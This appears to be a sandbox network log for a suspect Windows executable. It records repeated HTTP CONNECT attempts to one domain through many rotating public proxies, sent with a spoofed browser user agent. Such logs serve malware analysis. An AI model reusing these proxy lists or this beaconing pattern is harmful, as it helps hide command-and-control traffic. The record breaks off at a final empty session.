Mar 11, 2024 15:23:21.652977943 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1820	192.168.2.9	53282	91.134.140.160	12217	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:14.088547945 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1821	192.168.2.9	53301	91.134.140.160	39803	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:14.089639902 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:14.637887001 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.138905048 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:16.137965918 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1822	192.168.2.9	55148	184.170.245.148	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:14.092505932 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1823	192.168.2.9	53257	103.76.148.92	8181	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:14.102174044 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:17.137975931 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1824	192.168.2.9	55147	115.146.225.137	10046	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:14.103060961 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1825	192.168.2.9	53372	58.253.210.122	8888	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:14.118344069 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1826	192.168.2.9	53345	193.138.178.6	8282	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:14.121037006 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:17.200386047 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:20.294087887 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:26.364279985 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:38.387567043 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1827	192.168.2.9	55126	51.210.223.9	3000	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:14.129371881 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1828	192.168.2.9	53457	37.187.77.58	19767	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:14.129483938 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:14.637904882 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.330429077 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1829	192.168.2.9	53472	104.248.151.220	63997	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:14.139779091 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:17.138020039 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:20.137856007 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:26.137614012 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:38.231285095 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1830	192.168.2.9	53499	104.36.166.34	50260	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:14.139841080 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:17.200386047 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:20.294106007 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:26.364351988 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:38.388905048 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:50.575150967 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:02.575001001 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:26.653105021 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:23:14.653001070 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1831	192.168.2.9	55208	47.74.152.29	8888	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:14.160711050 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:14.936577082 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:16.137907028 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:18.325387001 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:22.640178919 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:26.825340033 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:31.139240980 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:31.487375975 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.20.1 Date: Mon, 11 Mar 2024 14:21:31 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.20.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1832	192.168.2.9	55209	196.20.125.129	8083	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:14.167989969 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1833	192.168.2.9	55213	177.135.83.244	5678	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:14.168344975 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1834	192.168.2.9	55214	20.219.177.73	3129	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:14.174535036 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.068649054 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:16.365422010 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:35.871359110 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1835	192.168.2.9	55203	43.231.22.229	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:14.183732033 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1836	192.168.2.9	55221	194.4.50.94	12334	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:14.192956924 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1837	192.168.2.9	55222	67.201.33.10	25283	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:14.203032970 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1838	192.168.2.9	55206	74.118.80.244	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:14.216955900 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1839	192.168.2.9	55223	184.170.248.5	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:14.235090971 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1840	192.168.2.9	55168	195.138.65.34	5678	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:14.235510111 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1841	192.168.2.9	55167	156.67.115.5	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:14.235893965 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1842	192.168.2.9	55190	110.76.129.229	5678	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:14.236105919 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1843	192.168.2.9	53596	198.57.229.185	64767	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:14.301620007 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:17.403462887 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:20.403662920 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:26.497102022 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:38.497031927 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:50.575082064 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:02.576855898 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:26.653101921 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1844	192.168.2.9	55224	72.195.34.59	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
